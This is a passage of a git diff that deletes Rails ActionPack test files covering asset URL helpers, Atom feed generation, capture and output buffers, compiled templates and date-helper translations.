-
- def test_should_compute_proper_path_with_asset_host
- @controller.config.asset_host = "assets.example.com"
- assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
- end
-
- def test_should_compute_proper_path_with_asset_host_and_default_protocol
- @controller.config.asset_host = "assets.example.com"
- @controller.config.default_asset_host_protocol = :request
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
- end
-
- def test_should_compute_proper_url_with_asset_host
- @controller.config.asset_host = "assets.example.com"
- assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
- end
-
- def test_should_compute_proper_url_with_asset_host_and_default_protocol
- @controller.config.asset_host = "assets.example.com"
- @controller.config.default_asset_host_protocol = :request
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
- assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
- end
-
- def test_should_return_asset_host_with_protocol
- @controller.config.asset_host = "http://assets.example.com"
- assert_equal "http://assets.example.com", compute_asset_host("foo")
- end
-
- def test_should_ignore_asset_host_on_complete_url
- @controller.config.asset_host = "http://assets.example.com"
- assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
- end
-
- def test_should_ignore_asset_host_on_scheme_relative_url
- @controller.config.asset_host = "http://assets.example.com"
- assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
- end
-
- def test_should_wildcard_asset_host
- @controller.config.asset_host = 'http://a%d.example.com'
- assert_match(%r(http://a[0123].example.com), compute_asset_host("foo"))
- end
-
- def test_should_wildcard_asset_host_between_zero_and_four
- @controller.config.asset_host = 'http://a%d.example.com'
- assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png'))
- assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_url('xml.png'))
- end
-
- def test_asset_host_without_protocol_should_be_protocol_relative
- @controller.config.asset_host = 'a.example.com'
- assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
- assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_url('xml.png')
- end
-
- def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present
- @controller.config.asset_host = 'a.example.com/files/go/here'
- assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
- assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_url('xml.png')
- end
-
- def test_assert_css_and_js_of_the_same_name_return_correct_extension
- assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
- assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
- end
-end
-
-class AssetUrlHelperControllerTest < ActionView::TestCase
- tests ActionView::Helpers::AssetUrlHelper
-
- def setup
- super
-
- @controller = BasicController.new
- @controller.extend ActionView::Helpers::AssetUrlHelper
-
- @request = Class.new do
- attr_accessor :script_name
- def protocol() 'http://' end
- def ssl?() false end
- def host_with_port() 'www.example.com' end
- def base_url() 'http://www.example.com' end
- end.new
-
- @controller.request = @request
- end
-
- def test_asset_path
- assert_equal "/foo", @controller.asset_path("foo")
- end
-
- def test_asset_url
- assert_equal "http://www.example.com/foo", @controller.asset_url("foo")
- end
-end
-
-class AssetUrlHelperEmptyModuleTest < ActionView::TestCase
- tests ActionView::Helpers::AssetUrlHelper
-
- def setup
- super
-
- @module = Module.new
- @module.extend ActionView::Helpers::AssetUrlHelper
- end
-
- def test_asset_path
- assert_equal "/foo", @module.asset_path("foo")
- end
-
- def test_asset_url
- assert_equal "/foo", @module.asset_url("foo")
- end
-
- def test_asset_url_with_request
- @module.instance_eval do
- def request
- Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
- end
- end
-
- assert @module.request
- assert_equal "http://www.example.com/foo", @module.asset_url("foo")
- end
-
- def test_asset_url_with_config_asset_host
- @module.instance_eval do
- def config
- Struct.new(:asset_host).new("http://www.example.com")
- end
- end
-
- assert @module.config.asset_host
- assert_equal "http://www.example.com/foo", @module.asset_url("foo")
- end
-end
diff --git a/actionpack/test/template/atom_feed_helper_test.rb b/actionpack/test/template/atom_feed_helper_test.rb
deleted file mode 100644
index 89aae4ac56..0000000000
--- a/actionpack/test/template/atom_feed_helper_test.rb
+++ /dev/null
@@ -1,349 +0,0 @@
-require 'abstract_unit'
-
-class Scroll < Struct.new(:id, :to_param, :title, :body, :updated_at, :created_at)
- extend ActiveModel::Naming
- include ActiveModel::Conversion
-
- def persisted?
- false
- end
-end
-
-class ScrollsController < ActionController::Base
- FEEDS = {}
- FEEDS["defaults"] = <<-EOT
- atom_feed(:schema_date => '2008') do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["entry_options"] = <<-EOT
- atom_feed do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["entry_type_options"] = <<-EOT
- atom_feed(:schema_date => '2008') do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll, :type => 'text/xml') do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["xml_block"] = <<-EOT
- atom_feed do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- feed.author do |author|
- author.name("DHH")
- end
-
- @scrolls.each do |scroll|
- feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
- end
- end
- end
- EOT
- FEEDS["feed_with_atomPub_namespace"] = <<-EOT
- atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
- 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
- entry.tag!('app:edited', Time.now)
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["feed_with_overridden_ids"] = <<-EOT
- atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll, :id => "tag:test.rubyonrails.org,2008:"+scroll.id.to_s) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
- entry.tag!('app:edited', Time.now)
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["feed_with_xml_processing_instructions"] = <<-EOT
- atom_feed(:schema_date => '2008',
- :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["feed_with_xml_processing_instructions_duplicate_targets"] = <<-EOT
- atom_feed(:schema_date => '2008',
- :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["feed_with_xhtml_content"] = <<-'EOT'
- atom_feed do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll) do |entry|
- entry.title(scroll.title)
- entry.summary(:type => 'xhtml') do |xhtml|
- xhtml.p "before #{scroll.id}"
- xhtml.p {xhtml << scroll.body}
- xhtml.p "after #{scroll.id}"
- end
- entry.tag!('app:edited', Time.now)
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- FEEDS["provide_builder"] = <<-'EOT'
- # we pass in the new_xml to the helper so it doesn't
- # call anything on the original builder
- new_xml = Builder::XmlMarkup.new(:target=>'')
- atom_feed(:xml => new_xml) do |feed|
- feed.title("My great blog!")
- feed.updated((@scrolls.first.created_at))
-
- @scrolls.each do |scroll|
- feed.entry(scroll) do |entry|
- entry.title(scroll.title)
- entry.content(scroll.body, :type => 'html')
-
- entry.author do |author|
- author.name("DHH")
- end
- end
- end
- end
- EOT
- def index
- @scrolls = [
- Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
- Scroll.new(2, "2", "Hello Two", "Something Boring", Time.utc(2007, 12, 12, 15)),
- ]
-
- render :inline => FEEDS[params[:id]], :type => :builder
- end
-end
-
-class AtomFeedTest < ActionController::TestCase
- tests ScrollsController
-
- def setup
- super
- @request.host = "www.nextangle.com"
- end
-
- def test_feed_should_use_default_language_if_none_is_given
- with_restful_routing(:scrolls) do
- get :index, :id => "defaults"
- assert_match(%r{xml:lang="en-US"}, @response.body)
- end
- end
-
- def test_feed_should_include_two_entries
- with_restful_routing(:scrolls) do
- get :index, :id => "defaults"
- assert_select "entry", 2
- end
- end
-
- def test_entry_should_only_use_published_if_created_at_is_present
- with_restful_routing(:scrolls) do
- get :index, :id => "defaults"
- assert_select "published", 1
- end
- end
-
- def test_providing_builder_to_atom_feed
- with_restful_routing(:scrolls) do
- get :index, :id=>"provide_builder"
- # because we pass in the non-default builder, the content generated by the
- # helper should go 'nowhere'. Leaving the response body blank.
- assert_blank @response.body
- end
- end
-
- def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
- with_restful_routing(:scrolls) do
- get :index, :id => "entry_options"
-
- assert_select "updated", Time.utc(2007, 1, 1).xmlschema
- assert_select "updated", Time.utc(2007, 1, 2).xmlschema
- end
- end
-
- def test_self_url_should_default_to_current_request_url
- with_restful_routing(:scrolls) do
- get :index, :id => "defaults"
- assert_select "link[rel=self][href=http://www.nextangle.com/scrolls?id=defaults]"
- end
- end
-
- def test_feed_id_should_be_a_valid_tag
- with_restful_routing(:scrolls) do
- get :index, :id => "defaults"
- assert_select "id", :text => "tag:www.nextangle.com,2008:/scrolls?id=defaults"
- end
- end
-
- def test_entry_id_should_be_a_valid_tag
- with_restful_routing(:scrolls) do
- get :index, :id => "defaults"
- assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/1"
- assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/2"
- end
- end
-
- def test_feed_should_allow_nested_xml_blocks
- with_restful_routing(:scrolls) do
- get :index, :id => "xml_block"
- assert_select "author name", :text => "DHH"
- end
- end
-
- def test_feed_should_include_atomPub_namespace
- with_restful_routing(:scrolls) do
- get :index, :id => "feed_with_atomPub_namespace"
- assert_match %r{xml:lang="en-US"}, @response.body
- assert_match %r{xmlns="http://www.w3.org/2005/Atom"}, @response.body
- assert_match %r{xmlns:app="http://www.w3.org/2007/app"}, @response.body
- end
- end
-
- def test_feed_should_allow_overriding_ids
- with_restful_routing(:scrolls) do
- get :index, :id => "feed_with_overridden_ids"
- assert_select "id", :text => "tag:test.rubyonrails.org,2008:test/"
- assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:1"
- assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:2"
- end
- end
-
- def test_feed_xml_processing_instructions
- with_restful_routing(:scrolls) do
- get :index, :id => 'feed_with_xml_processing_instructions'
- assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
- assert_match %r{<\?xml-stylesheet [^\?]*href="t.css"}, @response.body
- end
- end
-
- def test_feed_xml_processing_instructions_duplicate_targets
- with_restful_routing(:scrolls) do
- get :index, :id => 'feed_with_xml_processing_instructions_duplicate_targets'
- assert_match %r{<\?target1 (a="1" b="2"|b="2" a="1")\?>}, @response.body
- assert_match %r{<\?target1 (c="3" d="4"|d="4" c="3")\?>}, @response.body
- end
- end
-
- def test_feed_xhtml
- with_restful_routing(:scrolls) do
- get :index, :id => "feed_with_xhtml_content"
- assert_match %r{xmlns="http://www.w3.org/1999/xhtml"}, @response.body
- assert_select "summary div p", :text => "Something Boring"
- assert_select "summary div p", :text => "after 2"
- end
- end
-
- def test_feed_entry_type_option_default_to_text_html
- with_restful_routing(:scrolls) do
- get :index, :id => 'defaults'
- assert_select "entry link[rel=alternate][type=text/html]"
- end
- end
-
- def test_feed_entry_type_option_specified
- with_restful_routing(:scrolls) do
- get :index, :id => 'entry_type_options'
- assert_select "entry link[rel=alternate][type=text/xml]"
- end
- end
-
- private
- def with_restful_routing(resources)
- with_routing do |set|
- set.draw do
- resources(resources)
- end
- yield
- end
- end
-end
diff --git a/actionpack/test/template/benchmark_helper_test.rb b/actionpack/test/template/benchmark_helper_test.rb
deleted file mode 100644
index 8c198d2562..0000000000
--- a/actionpack/test/template/benchmark_helper_test.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'abstract_unit'
-require 'stringio'
-
-class BenchmarkHelperTest < ActionView::TestCase
- include RenderERBUtils
- tests ActionView::Helpers::BenchmarkHelper
-
- def test_output_in_erb
- output = render_erb("Hello <%= benchmark do %>world<% end %>")
- expected = 'Hello world'
- assert_equal expected, output
- end
-
- def test_returns_value_from_block
- assert_equal 'test', benchmark { 'test' }
- end
-
- def test_default_message
- log = StringIO.new
- self.stubs(:logger).returns(Logger.new(log))
- benchmark {}
- assert_match(/Benchmarking \(\d+.\d+ms\)/, log.rewind && log.read)
- end
-end
diff --git a/actionpack/test/template/capture_helper_test.rb b/actionpack/test/template/capture_helper_test.rb
deleted file mode 100644
index 234ac3252d..0000000000
--- a/actionpack/test/template/capture_helper_test.rb
+++ /dev/null
@@ -1,238 +0,0 @@
-require 'abstract_unit'
-
-class CaptureHelperTest < ActionView::TestCase
- def setup
- super
- @av = ActionView::Base.new
- @view_flow = ActionView::OutputFlow.new
- end
-
- def test_capture_captures_the_temporary_output_buffer_in_its_block
- assert_nil @av.output_buffer
- string = @av.capture do
- @av.output_buffer << 'foo'
- @av.output_buffer << 'bar'
- end
- assert_nil @av.output_buffer
- assert_equal 'foobar', string
- end
-
- def test_capture_captures_the_value_returned_by_the_block_if_the_temporary_buffer_is_blank
- string = @av.capture('foo', 'bar') do |a, b|
- a + b
- end
- assert_equal 'foobar', string
- end
-
- def test_capture_returns_nil_if_the_returned_value_is_not_a_string
- assert_nil @av.capture { 1 }
- end
-
- def test_capture_escapes_html
- string = @av.capture { '<em>bar</em>' }
- assert_equal '&lt;em&gt;bar&lt;/em&gt;', string
- end
-
- def test_capture_doesnt_escape_twice
- string = @av.capture { '&lt;em&gt;bar&lt;/em&gt;'.html_safe }
- assert_equal '&lt;em&gt;bar&lt;/em&gt;', string
- end
-
- def test_capture_used_for_read
- content_for :foo, "foo"
- assert_equal "foo", content_for(:foo)
-
- content_for(:bar){ "bar" }
- assert_equal "bar", content_for(:bar)
- end
-
- def test_content_for_with_multiple_calls
- assert ! content_for?(:title)
- content_for :title, 'foo'
- content_for :title, 'bar'
- assert_equal 'foobar', content_for(:title)
- end
-
- def test_content_for_with_multiple_calls_and_flush
- assert ! content_for?(:title)
- content_for :title, 'foo'
- content_for :title, 'bar', flush: true
- assert_equal 'bar', content_for(:title)
- end
-
- def test_content_for_with_block
- assert ! content_for?(:title)
- content_for :title do
- output_buffer << 'foo'
- output_buffer << 'bar'
- nil
- end
- assert_equal 'foobar', content_for(:title)
- end
-
- def test_content_for_with_block_and_multiple_calls_with_flush
- assert ! content_for?(:title)
- content_for :title do
- 'foo'
- end
- content_for :title, flush: true do
- 'bar'
- end
- assert_equal 'bar', content_for(:title)
- end
-
- def test_content_for_with_block_and_multiple_calls_with_flush_nil_content
- assert ! content_for?(:title)
- content_for :title do
- 'foo'
- end
- content_for :title, nil, flush: true do
- 'bar'
- end
- assert_equal 'bar', content_for(:title)
- end
-
- def test_content_for_with_block_and_multiple_calls_without_flush
- assert ! content_for?(:title)
- content_for :title do
- 'foo'
- end
- content_for :title, flush: false do
- 'bar'
- end
- assert_equal 'foobar', content_for(:title)
- end
-
- def test_content_for_with_whitespace_block
- assert ! content_for?(:title)
- content_for :title, 'foo'
- content_for :title do
- output_buffer << " \n "
- nil
- end
- content_for :title, 'bar'
- assert_equal 'foobar', content_for(:title)
- end
-
- def test_content_for_with_whitespace_block_and_flush
- assert ! content_for?(:title)
- content_for :title, 'foo'
- content_for :title, flush: true do
- output_buffer << " \n "
- nil
- end
- content_for :title, 'bar', flush: true
- assert_equal 'bar', content_for(:title)
- end
-
- def test_content_for_returns_nil_when_writing
- assert ! content_for?(:title)
- assert_equal nil, content_for(:title, 'foo')
- assert_equal nil, content_for(:title) { output_buffer << 'bar'; nil }
- assert_equal nil, content_for(:title) { output_buffer << " \n "; nil }
- assert_equal 'foobar', content_for(:title)
- assert_equal nil, content_for(:title, 'foo', flush: true)
- assert_equal nil, content_for(:title, flush: true) { output_buffer << 'bar'; nil }
- assert_equal nil, content_for(:title, flush: true) { output_buffer << " \n "; nil }
- assert_equal 'bar', content_for(:title)
- end
-
- def test_content_for_question_mark
- assert ! content_for?(:title)
- content_for :title, 'title'
- assert content_for?(:title)
- assert ! content_for?(:something_else)
- end
-
- def test_provide
- assert !content_for?(:title)
- provide :title, "hi"
- assert content_for?(:title)
- assert_equal "hi", content_for(:title)
- provide :title, "<p>title</p>"
- assert_equal "hi&lt;p&gt;title&lt;/p&gt;", content_for(:title)
-
- @view_flow = ActionView::OutputFlow.new
- provide :title, "hi"
- provide :title, "<p>title</p>".html_safe
- assert_equal "hi<p>title</p>", content_for(:title)
- end
-
- def test_with_output_buffer_swaps_the_output_buffer_given_no_argument
- assert_nil @av.output_buffer
- buffer = @av.with_output_buffer do
- @av.output_buffer << '.'
- end
- assert_equal '.', buffer
- assert_nil @av.output_buffer
- end
-
- def test_with_output_buffer_swaps_the_output_buffer_with_an_argument
- assert_nil @av.output_buffer
- buffer = ActionView::OutputBuffer.new('.')
- @av.with_output_buffer(buffer) do
- @av.output_buffer << '.'
- end
- assert_equal '..', buffer
- assert_nil @av.output_buffer
- end
-
- def test_with_output_buffer_restores_the_output_buffer
- buffer = ActionView::OutputBuffer.new
- @av.output_buffer = buffer
- @av.with_output_buffer do
- @av.output_buffer << '.'
- end
- assert buffer.equal?(@av.output_buffer)
- end
-
- def test_with_output_buffer_sets_proper_encoding
- @av.output_buffer = ActionView::OutputBuffer.new
-
- # Ensure we set the output buffer to an encoding different than the default one.
- alt_encoding = alt_encoding(@av.output_buffer)
- @av.output_buffer.force_encoding(alt_encoding)
-
- @av.with_output_buffer do
- assert_equal alt_encoding, @av.output_buffer.encoding
- end
- end
-
- def test_with_output_buffer_does_not_assume_there_is_an_output_buffer
- assert_nil @av.output_buffer
- assert_equal "", @av.with_output_buffer {}
- end
-
- def test_flush_output_buffer_concats_output_buffer_to_response
- view = view_with_controller
- assert_equal [], view.response.body_parts
-
- view.output_buffer << 'OMG'
- view.flush_output_buffer
- assert_equal ['OMG'], view.response.body_parts
- assert_equal '', view.output_buffer
-
- view.output_buffer << 'foobar'
- view.flush_output_buffer
- assert_equal ['OMG', 'foobar'], view.response.body_parts
- assert_equal '', view.output_buffer
- end
-
- def test_flush_output_buffer_preserves_the_encoding_of_the_output_buffer
- view = view_with_controller
- alt_encoding = alt_encoding(view.output_buffer)
- view.output_buffer.force_encoding(alt_encoding)
- flush_output_buffer
- assert_equal alt_encoding, view.output_buffer.encoding
- end
-
- def alt_encoding(output_buffer)
- output_buffer.encoding == Encoding::US_ASCII ? Encoding::UTF_8 : Encoding::US_ASCII
- end
-
- def view_with_controller
- TestController.new.view_context.tap do |view|
- view.output_buffer = ActionView::OutputBuffer.new
- end
- end
-end
diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb
deleted file mode 100644
index f5dc2fbb33..0000000000
--- a/actionpack/test/template/compiled_templates_test.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class CompiledTemplatesTest < ActiveSupport::TestCase
- def setup
- # Clean up any details key cached to expose failures
- # that otherwise would appear just on isolated tests
- ActionView::LookupContext::DetailsKey.clear
-
- @compiled_templates = ActionView::CompiledTemplates
- @compiled_templates.instance_methods.each do |m|
- @compiled_templates.send(:remove_method, m) if m =~ /^_render_template_/
- end
- end
-
- def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
- assert_equal "one", render(:file => "test/render_file_with_locals_and_default")
- assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" })
- end
-
- def test_template_changes_are_not_reflected_with_cached_templates
- assert_equal "Hello world!", render(:file => "test/hello_world")
- modify_template "test/hello_world.erb", "Goodbye world!" do
- assert_equal "Hello world!", render(:file => "test/hello_world")
- end
- assert_equal "Hello world!", render(:file => "test/hello_world")
- end
-
- def test_template_changes_are_reflected_with_uncached_templates
- assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
- modify_template "test/hello_world.erb", "Goodbye world!" do
- assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world")
- end
- assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
- end
-
- private
- def render(*args)
- render_with_cache(*args)
- end
-
- def render_with_cache(*args)
- view_paths = ActionController::Base.view_paths
- ActionView::Base.new(view_paths, {}).render(*args)
- end
-
- def render_without_cache(*args)
- path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
- view_paths = ActionView::PathSet.new([path])
- ActionView::Base.new(view_paths, {}).render(*args)
- end
-
- def modify_template(template, content)
- filename = "#{FIXTURE_LOAD_PATH}/#{template}"
- old_content = File.read(filename)
- begin
- File.open(filename, "wb+") { |f| f.write(content) }
- yield
- ensure
- File.open(filename, "wb+") { |f| f.write(old_content) }
- end
- end
-end
diff --git a/actionpack/test/template/date_helper_i18n_test.rb b/actionpack/test/template/date_helper_i18n_test.rb
deleted file mode 100644
index 495a9d3f9d..0000000000
--- a/actionpack/test/template/date_helper_i18n_test.rb
+++ /dev/null
@@ -1,143 +0,0 @@
-require 'abstract_unit'
-
-class DateHelperDistanceOfTimeInWordsI18nTests < ActiveSupport::TestCase
- include ActionView::Helpers::DateHelper
- attr_reader :request
-
- def setup
- @from = Time.utc(2004, 6, 6, 21, 45, 0)
- end
-
- # distance_of_time_in_words
-
- def test_distance_of_time_in_words_calls_i18n
- { # with include_seconds
- [2.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 5],
- [9.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 10],
- [19.seconds, { :include_seconds => true }] => [:'less_than_x_seconds', 20],
- [30.seconds, { :include_seconds => true }] => [:'half_a_minute', nil],
- [59.seconds, { :include_seconds => true }] => [:'less_than_x_minutes', 1],
- [60.seconds, { :include_seconds => true }] => [:'x_minutes', 1],
-
- # without include_seconds
- [29.seconds, { :include_seconds => false }] => [:'less_than_x_minutes', 1],
- [60.seconds, { :include_seconds => false }] => [:'x_minutes', 1],
- [44.minutes, { :include_seconds => false }] => [:'x_minutes', 44],
- [61.minutes, { :include_seconds => false }] => [:'about_x_hours', 1],
- [24.hours, { :include_seconds => false }] => [:'x_days', 1],
- [30.days, { :include_seconds => false }] => [:'about_x_months', 1],
- [60.days, { :include_seconds => false }] => [:'x_months', 2],
- [1.year, { :include_seconds => false }] => [:'about_x_years', 1],
- [3.years + 6.months, { :include_seconds => false }] => [:'over_x_years', 3],
- [3.years + 10.months, { :include_seconds => false }] => [:'almost_x_years', 4]
-
- }.each do |passed, expected|
- assert_distance_of_time_in_words_translates_key passed, expected
- end
- end
-
- def test_distance_of_time_in_words_calls_i18n_with_custom_scope
- {
- [30.days, { scope: :'datetime.distance_in_words_ago' }] => [:'about_x_months', 1],
- [60.days, { scope: :'datetime.distance_in_words_ago' }] => [:'x_months', 2],
- }.each do |passed, expected|
- assert_distance_of_time_in_words_translates_key(passed, expected, scope: :'datetime.distance_in_words_ago')
- end
- end
-
- def test_time_ago_in_words_passes_locale
- I18n.expects(:t).with(:less_than_x_minutes, :scope => :'datetime.distance_in_words', :count => 1, :locale => 'ru')
- time_ago_in_words(15.seconds.ago, :locale => 'ru')
- end
-
- def test_distance_of_time_pluralizations
- { [:'less_than_x_seconds', 1] => 'less than 1 second',
- [:'less_than_x_seconds', 2] => 'less than 2 seconds',
- [:'less_than_x_minutes', 1] => 'less than a minute',
- [:'less_than_x_minutes', 2] => 'less than 2 minutes',
- [:'x_minutes', 1] => '1 minute',
- [:'x_minutes', 2] => '2 minutes',
- [:'about_x_hours', 1] => 'about 1 hour',
- [:'about_x_hours', 2] => 'about 2 hours',
- [:'x_days', 1] => '1 day',
- [:'x_days', 2] => '2 days',
- [:'about_x_years', 1] => 'about 1 year',
- [:'about_x_years', 2] => 'about 2 years',
- [:'over_x_years', 1] => 'over 1 year',
- [:'over_x_years', 2] => 'over 2 years'
-
- }.each do |args, expected|
- key, count = *args
- assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
- end
- end
-
- def assert_distance_of_time_in_words_translates_key(passed, expected, expected_options = {})
- diff, passed_options = *passed
- key, count = *expected
- to = @from + diff
-
- options = { locale: 'en', scope: :'datetime.distance_in_words' }.merge!(expected_options)
- options[:count] = count if count
-
- I18n.expects(:t).with(key, options)
- distance_of_time_in_words(@from, to, passed_options.merge(locale: 'en'))
- end
-end
-
-class DateHelperSelectTagsI18nTests < ActiveSupport::TestCase
- include ActionView::Helpers::DateHelper
- attr_reader :request
-
- def setup
- @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'}
-
- I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
- end
-
- # select_month
-
- def test_select_month_given_use_month_names_option_does_not_translate_monthnames
- I18n.expects(:translate).never
- select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
- end
-
- def test_select_month_translates_monthnames
- I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
- select_month(8, :locale => 'en')
- end
-
- def test_select_month_given_use_short_month_option_translates_abbr_monthnames
- I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
- select_month(8, :locale => 'en', :use_short_month => true)
- end
-
- def test_date_or_time_select_translates_prompts
- @prompt_defaults.each do |key, prompt|
- I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
- end
-
- I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:year, :month, :day]
- datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
- end
-
- # date_or_time_select
-
- def test_date_or_time_select_given_an_order_options_does_not_translate_order
- I18n.expects(:translate).never
- datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
- end
-
- def test_date_or_time_select_given_no_order_options_translates_order
- I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:year, :month, :day]
- datetime_select('post', 'updated_at', :locale => 'en')
- end
-
- def test_date_or_time_select_given_invalid_order
- I18n.expects(:translate).with(:'date.order', :locale => 'en', :default => []).returns [:invalid, :month, :day]
-
- assert_raise StandardError do
- datetime_select('post', 'updated_at', :locale => 'en')
- end
- end
-end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
deleted file mode 100644
index f9ce63fcb0..0000000000
--- a/actionpack/test/template/date_helper_test.rb
+++ /dev/null
@@ -1,3067 +0,0 @@
